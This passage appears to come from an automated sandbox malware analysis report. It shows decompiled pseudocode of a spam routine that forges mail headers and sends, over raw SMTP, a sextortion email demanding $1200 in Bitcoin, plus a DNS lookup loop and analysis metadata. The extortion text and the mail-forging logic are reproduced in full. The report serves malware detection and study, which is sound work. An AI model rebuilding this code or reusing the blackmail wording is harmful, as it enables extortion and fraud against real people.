										E010A1320(__ebp - 0x658, 5, __ebp - 0x658) = wsprintfA(__ebp - 0x538, "%s.com", __eax);
										__esp = __esp + 0xc;
										__ebp - 0x750 = E010A1490(0, __ebp - 0x750, 1); // executed
										Sleep(0x7d0); // executed
										__ecx = __ebp - 0x6d0;
										__eax = E010A1490(0, __ebp - 0x6d0, 0); // executed
										__eax = __ebp - 0x538;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t57 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t61 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t65 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xd2;
										_t69 = __eax % 0xd2;
										E010A1390(0xd2, 7, __ebp - 0x6e8) = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n", __ebp - 0x490, _t69 + 1, _t65 + 1, _t61 + 1, _t57 + 1, __ebp - 0x538, __ebp - 0x6d0);
										__esp = __esp + 0x24;
										 *(__ebp - 0x754) = __eax;
										__ecx =  *(__ebp - 0x754);
										__eax =  *(__ebp - 0x1c);
										__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
										__eflags = __eax;
										if(__eax != 0) {
											__ecx = __ebp - 0x750;
											E010A1320(__ecx, 3, __ebp - 0x664) = __ebp - 0x6dc;
											__eax = E010A1320(__ecx, 5, __ebp - 0x6dc);
											__ecx = __ebp - 0x490;
											__eax = wsprintfA(__ebp - 0x490, "Received: (qmail %s invoked by uid %s); %s\r\n", __eax, __eax, __ebp - 0x490);
											__esp = __esp + 0x14;
											 *(__ebp - 0x754) = __eax;
											__eax = __ebp - 0x490;
											__ecx =  *(__ebp - 0x1c);
											__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
											__eflags = __eax;
											if(__eax != 0) {
												__eax = __ebp - 0x490;
												__eax = wsprintfA(__ebp - 0x490, "From: John Blue %s\r\n", __ebp - 0x88);
												__esp = __esp + 0xc;
												 *(__ebp - 0x754) = __eax;
												__ecx =  *(__ebp - 0x754);
												__eax =  *(__ebp - 0x1c);
												__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
												__eflags = __eax;
												if(__eax != 0) {
													__ecx =  *(__ebp + 8);
													__eax = wsprintfA(__ebp - 0x490, "To: %s\r\n",  *(__ebp + 8));
													__esp = __esp + 0xc;
													 *(__ebp - 0x754) = __eax;
													__eax =  *(__ebp - 0x754);
													__ecx = __ebp - 0x490;
													__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
													__eflags = __eax;
													if(__eax != 0) {
														__eax = __ebp - 0x490;
														__eax = wsprintfA(__ebp - 0x490, "Subject: %s\r\n", "I RECORDED YOU!");
														__esp = __esp + 0xc;
														 *(__ebp - 0x754) = __eax;
														__ecx =  *(__ebp - 0x754);
														__eax =  *(__ebp - 0x1c);
														__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
														__eflags = __eax;
														if(__eax != 0) {
															__ecx = __ebp - 0x6d0;
															__eax = wsprintfA(__ebp - 0x490, "Date: %s\r\n", __ebp - 0x6d0);
															__esp = __esp + 0xc;
															 *(__ebp - 0x754) = __eax;
															__eax =  *(__ebp - 0x754);
															__ecx = __ebp - 0x490;
															__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
															__eflags = __eax;
															if(__eax != 0) {
																__eax = __ebp - 0x538;
																__ecx = __ebp - 0x664;
																E010A1320(__ecx, 6, __ecx) = E010A1320(__ecx, 6, __ebp - 0x6dc);
																__eax = __ebp - 0x490;
																__eax = wsprintfA(__ebp - 0x490, "Message-ID: <%s.%s@%s>\r\n", __ebp - 0x490, __ebp - 0x490, __ebp - 0x538);
																__esp = __esp + 0x14;
																 *(__ebp - 0x754) = __eax;
																__ecx =  *(__ebp - 0x754);
																__eax =  *(__ebp - 0x1c);
																__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
																__eflags = __eax;
																if(__eax != 0) {
																	__ecx =  *(__ebp - 0x1c);
																	__eax = E010A1120( *(__ebp - 0x1c), "Mime-Version: 1.0\r\n", 0xffffffff); // executed
																	__eflags = __eax;
																	if(__eax != 0) {
																		__eax = E010A1120( *(__ebp - 0x1c), "Content-type: text/plain;\r\n\r\n", 0xffffffff); // executed
																		__eflags = __eax;
																		if(__eax != 0) {
																			__ebp - 0x640 = memset(__ebp - 0x640, 0, 0x104);
																			__ecx = __ebp - 0x640;
																			strcpy(__ebp - 0x640, "Hi, today there are sadly some bad news for you.\r\n\r\n") = strcat(__ebp - 0x640, "Your device was infected with my private malware, your browser wasn\'t updated / patched, in such case it\'s enough to just visit some website where my iframe is placed to get automatically infected, if you want to find out more, Google: Drive-by exploit.\r\n\r\n");
																			__ebp - 0x640 = strcat(__ebp - 0x640, "My malware gave me full access to all your accounts, full control over your device and it also was possible to spy on you over your cam.\r\n\r\n");
																			__ecx = __ebp - 0x640;
																			strcat(__ebp - 0x640, "If you think this is some bad joke, no, I know your password: ") = __ebp - 0x640;
																			__eax = strcat(__ebp - 0x640,  *(__ebp + 0xc));
																			__ecx = __ebp - 0x640;
																			__ebp - 0x640 = strcat(__ebp - 0x640, "After that I removed my malware to not leave any traces and this email was sent from some hacked server.\r\n\r\n");
																			__ecx = __ebp - 0x640;
																			__ebp - 0x640 = strcat(__ebp - 0x640, "The only way to stop me, is to pay exactly 1200$ in Bitcoin (BTC).\r\n\r\n");
																			__ecx = __ebp - 0x640;
																			strcat(__ebp - 0x640, "It\'s a very good offer, compared to all that horrible shit that will happen if I publish everything.\r\n\r\n") =  *(__ebp - 0x1c);
																			__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x640, 0xffffffff); // executed
																			__eflags = __eax;
																			if(__eax != 0) {
																				__ecx = __ebp - 0x640;
																				memset(__ebp - 0x640, 0, 0x104) = strcpy(__ebp - 0x640, "You can easily buy Bitcoin (BTC) here: www.paxful.com , www.coingate.com , www.coinbase.com , or check for Bitcoin (BTC) ATM near you, or Google for other exchanger.\r\n\r\n");
																				__ebp - 0x640 = strcat(__ebp - 0x640, "You can send the Bitcoin (BTC) directly to my wallet, or install the free software: Atomicwallet, or: Exodus wallet, then receive and send to mine.\r\n\r\n");
																				__ecx = __ebp - 0x640;
																				__ebp - 0x640 = strcat(__ebp - 0x640, "I give you 3 days time to pay.\r\n\r\n");
																				__ecx = __ebp - 0x640;
																				__ebp - 0x640 = strcat(__ebp - 0x640, "ClientMailID: ");
																				__ecx = __ebp - 0x64c;
																				E010A1320(__ebp - 0x64c, 7, __ebp - 0x64c) = strcat(__ebp - 0x640, __eax);
																				__ebp - 0x640 = strcat(__ebp - 0x640, "\r\n.\r\n");
																				__ecx = __ebp - 0x640;
																				__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x640, 0xffffffff); // executed
																				__eflags = __eax;
																				if(__eax != 0) {
																					 *(__ebp - 0x20) = 7;
																				} else {
																					 *(__ebp - 0x20) = 0;
																				}
																			} else {
																				 *(__ebp - 0x20) = 0;
																			}
																		} else {
																			 *(__ebp - 0x20) = 0;
																		}
																	} else {
																		 *(__ebp - 0x20) = 0;
																	}
																} else {
																	 *(__ebp - 0x20) = 0;
																}
															} else {
																 *(__ebp - 0x20) = 0;
															}
														} else {
															 *(__ebp - 0x20) = 0;
														}
													} else {
														 *(__ebp - 0x20) = 0;
													}
												} else {
													 *(__ebp - 0x20) = 0;
												}
											} else {
												 *(__ebp - 0x20) = 0;
											}
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 6:
										L47:
										 *(__ebp - 0x1c) = E010A1120( *(__ebp - 0x1c), "QUIT", 0xffffffff); // executed
										 *(__ebp - 0x20) = 8;
										goto L48;
								}
							} else {
								break;
							}
						} else {
							break;
						}
					}
					L49:
					 *(_t207 - 8) = 0 |  *(_t207 - 0x20) == 0x00000008;
					__imp__#22( *((intOrPtr*)(_t207 - 0x1c)), 2); // executed
					__imp__#3( *((intOrPtr*)(_t207 - 0x1c)));
					return  *(_t207 - 8);
				}
			}












                                                                                                                                                                                                                                                                                                                                                      0x010a1c46
                                                                                                                                                                                                                                                                                                                                                      0x010a1c46
                                                                                                                                                                                                                                                                                                                                                      0x010a1c46
                                                                                                                                                                                                                                                                                                                                                      0x010a1c4d
                                                                                                                                                                                                                                                                                                                                                      0x010a1c62
                                                                                                                                                                                                                                                                                                                                                      0x010a1c87
                                                                                                                                                                                                                                                                                                                                                      0x010a1c9f
                                                                                                                                                                                                                                                                                                                                                      0x010a1ca4
                                                                                                                                                                                                                                                                                                                                                      0x010a1ca9
                                                                                                                                                                                                                                                                                                                                                      0x010a1cb7
                                                                                                                                                                                                                                                                                                                                                      0x010a1cab
                                                                                                                                                                                                                                                                                                                                                      0x010a1cab
                                                                                                                                                                                                                                                                                                                                                      0x010a1cab
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a22f3
                                                                                                                                                                                                                                                                                                                                                      0x010a1b44
                                                                                                                                                                                                                                                                                                                                                      0x010a1b49
                                                                                                                                                                                                                                                                                                                                                      0x010a1b4c
                                                                                                                                                                                                                                                                                                                                                      0x010a1b59
                                                                                                                                                                                                                                                                                                                                                      0x010a1b60
                                                                                                                                                                                                                                                                                                                                                      0x010a1b66
                                                                                                                                                                                                                                                                                                                                                      0x010a1b75
                                                                                                                                                                                                                                                                                                                                                      0x010a1b7a
                                                                                                                                                                                                                                                                                                                                                      0x010a1b7d
                                                                                                                                                                                                                                                                                                                                                      0x010a1b7f
                                                                                                                                                                                                                                                                                                                                                      0x010a1b86
                                                                                                                                                                                                                                                                                                                                                      0x010a1b89
                                                                                                                                                                                                                                                                                                                                                      0x010a1b98
                                                                                                                                                                                                                                                                                                                                                      0x010a1b9e
                                                                                                                                                                                                                                                                                                                                                      0x010a1ba5
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1bab
                                                                                                                                                                                                                                                                                                                                                      0x010a1bb1
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1bb8
                                                                                                                                                                                                                                                                                                                                                      0x010a1bb8
                                                                                                                                                                                                                                                                                                                                                      0x010a1bc4
                                                                                                                                                                                                                                                                                                                                                      0x010a1bca
                                                                                                                                                                                                                                                                                                                                                      0x010a1bcc
                                                                                                                                                                                                                                                                                                                                                      0x010a1c01
                                                                                                                                                                                                                                                                                                                                                      0x010a1c07
                                                                                                                                                                                                                                                                                                                                                      0x010a1c0a
                                                                                                                                                                                                                                                                                                                                                      0x010a1bce
                                                                                                                                                                                                                                                                                                                                                      0x010a1bdf
                                                                                                                                                                                                                                                                                                                                                      0x010a1be5
                                                                                                                                                                                                                                                                                                                                                      0x010a1be8
                                                                                                                                                                                                                                                                                                                                                      0x010a1be8
                                                                                                                                                                                                                                                                                                                                                      0x010a1c22
                                                                                                                                                                                                                                                                                                                                                      0x010a1c27
                                                                                                                                                                                                                                                                                                                                                      0x010a1c2a
                                                                                                                                                                                                                                                                                                                                                      0x010a1c2c
                                                                                                                                                                                                                                                                                                                                                      0x010a1c3a
                                                                                                                                                                                                                                                                                                                                                      0x010a1c2e
                                                                                                                                                                                                                                                                                                                                                      0x010a1c2e
                                                                                                                                                                                                                                                                                                                                                      0x010a1c2e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1cc3
                                                                                                                                                                                                                                                                                                                                                      0x010a1cc3
                                                                                                                                                                                                                                                                                                                                                      0x010a1cd3
                                                                                                                                                                                                                                                                                                                                                      0x010a1cd9
                                                                                                                                                                                                                                                                                                                                                      0x010a1cdc
                                                                                                                                                                                                                                                                                                                                                      0x010a1ce2
                                                                                                                                                                                                                                                                                                                                                      0x010a1ce9
                                                                                                                                                                                                                                                                                                                                                      0x010a1cf4
                                                                                                                                                                                                                                                                                                                                                      0x010a1cfc
                                                                                                                                                                                                                                                                                                                                                      0x010a1cfe
                                                                                                                                                                                                                                                                                                                                                      0x010a1d0c
                                                                                                                                                                                                                                                                                                                                                      0x010a1d00
                                                                                                                                                                                                                                                                                                                                                      0x010a1d00
                                                                                                                                                                                                                                                                                                                                                      0x010a1d00
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1d18
                                                                                                                                                                                                                                                                                                                                                      0x010a1d1f
                                                                                                                                                                                                                                                                                                                                                      0x010a1d23
                                                                                                                                                                                                                                                                                                                                                      0x010a1d2b
                                                                                                                                                                                                                                                                                                                                                      0x010a1d2d
                                                                                                                                                                                                                                                                                                                                                      0x010a1d3b
                                                                                                                                                                                                                                                                                                                                                      0x010a1d2f
                                                                                                                                                                                                                                                                                                                                                      0x010a1d2f
                                                                                                                                                                                                                                                                                                                                                      0x010a1d2f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1d47
                                                                                                                                                                                                                                                                                                                                                      0x010a1d47
                                                                                                                                                                                                                                                                                                                                                      0x010a1d65
                                                                                                                                                                                                                                                                                                                                                      0x010a1d6b
                                                                                                                                                                                                                                                                                                                                                      0x010a1d79
                                                                                                                                                                                                                                                                                                                                                      0x010a1d86
                                                                                                                                                                                                                                                                                                                                                      0x010a1d8e
                                                                                                                                                                                                                                                                                                                                                      0x010a1d97
                                                                                                                                                                                                                                                                                                                                                      0x010a1da6
                                                                                                                                                                                                                                                                                                                                                      0x010a1dad
                                                                                                                                                                                                                                                                                                                                                      0x010a1db2
                                                                                                                                                                                                                                                                                                                                                      0x010a1db3
                                                                                                                                                                                                                                                                                                                                                      0x010a1db8
                                                                                                                                                                                                                                                                                                                                                      0x010a1db8
                                                                                                                                                                                                                                                                                                                                                      0x010a1dbe
                                                                                                                                                                                                                                                                                                                                                      0x010a1dc3
                                                                                                                                                                                                                                                                                                                                                      0x010a1dc4
                                                                                                                                                                                                                                                                                                                                                      0x010a1dc9
                                                                                                                                                                                                                                                                                                                                                      0x010a1dc9
                                                                                                                                                                                                                                                                                                                                                      0x010a1dcf
                                                                                                                                                                                                                                                                                                                                                      0x010a1dd4
                                                                                                                                                                                                                                                                                                                                                      0x010a1dd5
                                                                                                                                                                                                                                                                                                                                                      0x010a1dda
                                                                                                                                                                                                                                                                                                                                                      0x010a1dda
                                                                                                                                                                                                                                                                                                                                                      0x010a1de0
                                                                                                                                                                                                                                                                                                                                                      0x010a1de5
                                                                                                                                                                                                                                                                                                                                                      0x010a1de6
                                                                                                                                                                                                                                                                                                                                                      0x010a1deb
                                                                                                                                                                                                                                                                                                                                                      0x010a1e08
                                                                                                                                                                                                                                                                                                                                                      0x010a1e0f
                                                                                                                                                                                                                                                                                                                                                      0x010a1e15
                                                                                                                                                                                                                                                                                                                                                      0x010a1e18
                                                                                                                                                                                                                                                                                                                                                      0x010a1e1e
                                                                                                                                                                                                                                                                                                                                                      0x010a1e2c
                                                                                                                                                                                                                                                                                                                                                      0x010a1e30
                                                                                                                                                                                                                                                                                                                                                      0x010a1e38
                                                                                                                                                                                                                                                                                                                                                      0x010a1e3a
                                                                                                                                                                                                                                                                                                                                                      0x010a1e48
                                                                                                                                                                                                                                                                                                                                                      0x010a1e61
                                                                                                                                                                                                                                                                                                                                                      0x010a1e6a
                                                                                                                                                                                                                                                                                                                                                      0x010a1e78
                                                                                                                                                                                                                                                                                                                                                      0x010a1e7f
                                                                                                                                                                                                                                                                                                                                                      0x010a1e85
                                                                                                                                                                                                                                                                                                                                                      0x010a1e88
                                                                                                                                                                                                                                                                                                                                                      0x010a1e95
                                                                                                                                                                                                                                                                                                                                                      0x010a1e9c
                                                                                                                                                                                                                                                                                                                                                      0x010a1ea0
                                                                                                                                                                                                                                                                                                                                                      0x010a1ea8
                                                                                                                                                                                                                                                                                                                                                      0x010a1eaa
                                                                                                                                                                                                                                                                                                                                                      0x010a1ec4
                                                                                                                                                                                                                                                                                                                                                      0x010a1ecb
                                                                                                                                                                                                                                                                                                                                                      0x010a1ed1
                                                                                                                                                                                                                                                                                                                                                      0x010a1ed4
                                                                                                                                                                                                                                                                                                                                                      0x010a1eda
                                                                                                                                                                                                                                                                                                                                                      0x010a1ee8
                                                                                                                                                                                                                                                                                                                                                      0x010a1eec
                                                                                                                                                                                                                                                                                                                                                      0x010a1ef4
                                                                                                                                                                                                                                                                                                                                                      0x010a1ef6
                                                                                                                                                                                                                                                                                                                                                      0x010a1f04
                                                                                                                                                                                                                                                                                                                                                      0x010a1f14
                                                                                                                                                                                                                                                                                                                                                      0x010a1f1a
                                                                                                                                                                                                                                                                                                                                                      0x010a1f1d
                                                                                                                                                                                                                                                                                                                                                      0x010a1f23
                                                                                                                                                                                                                                                                                                                                                      0x010a1f2a
                                                                                                                                                                                                                                                                                                                                                      0x010a1f35
                                                                                                                                                                                                                                                                                                                                                      0x010a1f3d
                                                                                                                                                                                                                                                                                                                                                      0x010a1f3f
                                                                                                                                                                                                                                                                                                                                                      0x010a1f57
                                                                                                                                                                                                                                                                                                                                                      0x010a1f5e
                                                                                                                                                                                                                                                                                                                                                      0x010a1f64
                                                                                                                                                                                                                                                                                                                                                      0x010a1f67
                                                                                                                                                                                                                                                                                                                                                      0x010a1f6d
                                                                                                                                                                                                                                                                                                                                                      0x010a1f7b
                                                                                                                                                                                                                                                                                                                                                      0x010a1f7f
                                                                                                                                                                                                                                                                                                                                                      0x010a1f87
                                                                                                                                                                                                                                                                                                                                                      0x010a1f89
                                                                                                                                                                                                                                                                                                                                                      0x010a1f97
                                                                                                                                                                                                                                                                                                                                                      0x010a1faa
                                                                                                                                                                                                                                                                                                                                                      0x010a1fb0
                                                                                                                                                                                                                                                                                                                                                      0x010a1fb3
                                                                                                                                                                                                                                                                                                                                                      0x010a1fb9
                                                                                                                                                                                                                                                                                                                                                      0x010a1fc0
                                                                                                                                                                                                                                                                                                                                                      0x010a1fcb
                                                                                                                                                                                                                                                                                                                                                      0x010a1fd3
                                                                                                                                                                                                                                                                                                                                                      0x010a1fd5
                                                                                                                                                                                                                                                                                                                                                      0x010a1fe3
                                                                                                                                                                                                                                                                                                                                                      0x010a1fea
                                                                                                                                                                                                                                                                                                                                                      0x010a2005
                                                                                                                                                                                                                                                                                                                                                      0x010a2013
                                                                                                                                                                                                                                                                                                                                                      0x010a201a
                                                                                                                                                                                                                                                                                                                                                      0x010a2020
                                                                                                                                                                                                                                                                                                                                                      0x010a2023
                                                                                                                                                                                                                                                                                                                                                      0x010a2029
                                                                                                                                                                                                                                                                                                                                                      0x010a2037
                                                                                                                                                                                                                                                                                                                                                      0x010a203b
                                                                                                                                                                                                                                                                                                                                                      0x010a2043
                                                                                                                                                                                                                                                                                                                                                      0x010a2045
                                                                                                                                                                                                                                                                                                                                                      0x010a205a
                                                                                                                                                                                                                                                                                                                                                      0x010a205e
                                                                                                                                                                                                                                                                                                                                                      0x010a2066
                                                                                                                                                                                                                                                                                                                                                      0x010a2068
                                                                                                                                                                                                                                                                                                                                                      0x010a2081
                                                                                                                                                                                                                                                                                                                                                      0x010a2089
                                                                                                                                                                                                                                                                                                                                                      0x010a208b
                                                                                                                                                                                                                                                                                                                                                      0x010a20a7
                                                                                                                                                                                                                                                                                                                                                      0x010a20b4
                                                                                                                                                                                                                                                                                                                                                      0x010a20cf
                                                                                                                                                                                                                                                                                                                                                      0x010a20e3
                                                                                                                                                                                                                                                                                                                                                      0x010a20f0
                                                                                                                                                                                                                                                                                                                                                      0x010a2103
                                                                                                                                                                                                                                                                                                                                                      0x010a210a
                                                                                                                                                                                                                                                                                                                                                      0x010a2117
                                                                                                                                                                                                                                                                                                                                                      0x010a2146
                                                                                                                                                                                                                                                                                                                                                      0x010a2153
                                                                                                                                                                                                                                                                                                                                                      0x010a2182
                                                                                                                                                                                                                                                                                                                                                      0x010a218f
                                                                                                                                                                                                                                                                                                                                                      0x010a21a7
                                                                                                                                                                                                                                                                                                                                                      0x010a21ab
                                                                                                                                                                                                                                                                                                                                                      0x010a21b3
                                                                                                                                                                                                                                                                                                                                                      0x010a21b5
                                                                                                                                                                                                                                                                                                                                                      0x010a21ca
                                                                                                                                                                                                                                                                                                                                                      0x010a21e5
                                                                                                                                                                                                                                                                                                                                                      0x010a21f9
                                                                                                                                                                                                                                                                                                                                                      0x010a2206
                                                                                                                                                                                                                                                                                                                                                      0x010a2235
                                                                                                                                                                                                                                                                                                                                                      0x010a2242
                                                                                                                                                                                                                                                                                                                                                      0x010a2271
                                                                                                                                                                                                                                                                                                                                                      0x010a2279
                                                                                                                                                                                                                                                                                                                                                      0x010a2292
                                                                                                                                                                                                                                                                                                                                                      0x010a22a6
                                                                                                                                                                                                                                                                                                                                                      0x010a22b0
                                                                                                                                                                                                                                                                                                                                                      0x010a22bb
                                                                                                                                                                                                                                                                                                                                                      0x010a22c3
                                                                                                                                                                                                                                                                                                                                                      0x010a22c5
                                                                                                                                                                                                                                                                                                                                                      0x010a22d0
                                                                                                                                                                                                                                                                                                                                                      0x010a22c7
                                                                                                                                                                                                                                                                                                                                                      0x010a22c7
                                                                                                                                                                                                                                                                                                                                                      0x010a22c7
                                                                                                                                                                                                                                                                                                                                                      0x010a21b7
                                                                                                                                                                                                                                                                                                                                                      0x010a21b7
                                                                                                                                                                                                                                                                                                                                                      0x010a21b7
                                                                                                                                                                                                                                                                                                                                                      0x010a208d
                                                                                                                                                                                                                                                                                                                                                      0x010a208d
                                                                                                                                                                                                                                                                                                                                                      0x010a208d
                                                                                                                                                                                                                                                                                                                                                      0x010a206a
                                                                                                                                                                                                                                                                                                                                                      0x010a206a
                                                                                                                                                                                                                                                                                                                                                      0x010a206a
                                                                                                                                                                                                                                                                                                                                                      0x010a2047
                                                                                                                                                                                                                                                                                                                                                      0x010a2047
                                                                                                                                                                                                                                                                                                                                                      0x010a2047
                                                                                                                                                                                                                                                                                                                                                      0x010a1fd7
                                                                                                                                                                                                                                                                                                                                                      0x010a1fd7
                                                                                                                                                                                                                                                                                                                                                      0x010a1fd7
                                                                                                                                                                                                                                                                                                                                                      0x010a1f8b
                                                                                                                                                                                                                                                                                                                                                      0x010a1f8b
                                                                                                                                                                                                                                                                                                                                                      0x010a1f8b
                                                                                                                                                                                                                                                                                                                                                      0x010a1f41
                                                                                                                                                                                                                                                                                                                                                      0x010a1f41
                                                                                                                                                                                                                                                                                                                                                      0x010a1f41
                                                                                                                                                                                                                                                                                                                                                      0x010a1ef8
                                                                                                                                                                                                                                                                                                                                                      0x010a1ef8
                                                                                                                                                                                                                                                                                                                                                      0x010a1ef8
                                                                                                                                                                                                                                                                                                                                                      0x010a1eac
                                                                                                                                                                                                                                                                                                                                                      0x010a1eac
                                                                                                                                                                                                                                                                                                                                                      0x010a1eac
                                                                                                                                                                                                                                                                                                                                                      0x010a1e3c
                                                                                                                                                                                                                                                                                                                                                      0x010a1e3c
                                                                                                                                                                                                                                                                                                                                                      0x010a1e3c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a22d9
                                                                                                                                                                                                                                                                                                                                                      0x010a22e4
                                                                                                                                                                                                                                                                                                                                                      0x010a22ec
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1b81
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1b81
                                                                                                                                                                                                                                                                                                                                                      0x010a1b5b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1b5b
                                                                                                                                                                                                                                                                                                                                                      0x010a1b59
                                                                                                                                                                                                                                                                                                                                                      0x010a22f8
                                                                                                                                                                                                                                                                                                                                                      0x010a2301
                                                                                                                                                                                                                                                                                                                                                      0x010a230a
                                                                                                                                                                                                                                                                                                                                                      0x010a2314
                                                                                                                                                                                                                                                                                                                                                      0x010a2320
                                                                                                                                                                                                                                                                                                                                                      0x010a2320

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A18D0: wsprintfA.USER32 ref: 010A18F5
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A18D0: DnsQuery_A.DNSAPI(?,00000001,00000000,00000000,00000000,00000000), ref: 010A190E
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A18D0: DnsFree.DNSAPI(00000000,00000001), ref: 010A1939
                                                                                                                                                                                                                                                                                                                                                      • wsprintfA.USER32 ref: 010A1C62
                                                                                                                                                                                                                                                                                                                                                      • wsprintfA.USER32 ref: 010A1C7E
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1120: lstrlenA.KERNEL32(?), ref: 010A112D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1120: send.WS2_32(?,?,000000FF,00000000), ref: 010A1144
                                                                                                                                                                                                                                                                                                                                                      • shutdown.WS2_32(000000FF,00000002), ref: 010A230A
                                                                                                                                                                                                                                                                                                                                                      • closesocket.WS2_32(000000FF), ref: 010A2314
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000008.00000002.632818963.00000000010A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 010A0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632798147.00000000010A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632848133.00000000010A3000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632887362.00000000010A5000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632907339.00000000010A6000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_8_2_10a0000_75601095.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: wsprintf$FreeQuery_closesocketlstrlensendshutdown
                                                                                                                                                                                                                                                                                                                                                      • String ID: <JohnBlue@%s>$MAIL FROM: %s
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3499568386-387608850
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 29b68f0b0e44056b3f8fe6a5a43de4667c771f26e4252c87e5e2523413af5c92
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: d19c5154e719dfc5b202d1859a5b1fb5a24c40b66318fab162f6814f861e7cc2
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 29b68f0b0e44056b3f8fe6a5a43de4667c771f26e4252c87e5e2523413af5c92
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 982175B5D00218EFDF10CBD4DC49FEEB7B8BB08204F8085A9E649A6240E7795654CF55
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 010A18D0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43networksleepCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 265 10a18d0-10a18d6 266 10a18dd-10a191a call 10a1320 wsprintfA DnsQuery_A 265->266 269 10a191e-10a1931 DnsFree Sleep 266->269 270 10a191c-10a1944 DnsFree 266->270 269->266
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 50%
                                                                                                                                                                                                                                                                                                                                                      			E010A18D0(intOrPtr __ecx, void* __eflags, CHAR* _a4) {
				char _v8;
				intOrPtr _v12;
				char _v24;
				CHAR* _t14;
				void* _t20;

				_t16 = __ecx;
				_v8 = 0;
				while(1) {
					wsprintfA(_a4, "%s.com", E010A1320(_t16, 4,  &_v24));
					_t20 = _t20 + 0x14;
					_push(0);
					_push( &_v8);
					_push(0);
					_push(0);
					_push(1);
					_t14 = _a4;
					_push(_t14); // executed
					L010A2AEE(); // executed
					_v12 = _t14;
					if(_v12 == 0) {
						break;
					}
					_push(1);
					_t16 = _v8;
					_push(_v8);
					L010A2AE8();
					Sleep(0x64); // executed
				}
				_push(1);
				_push(_v8);
				L010A2AE8();
				return _a4;
			}








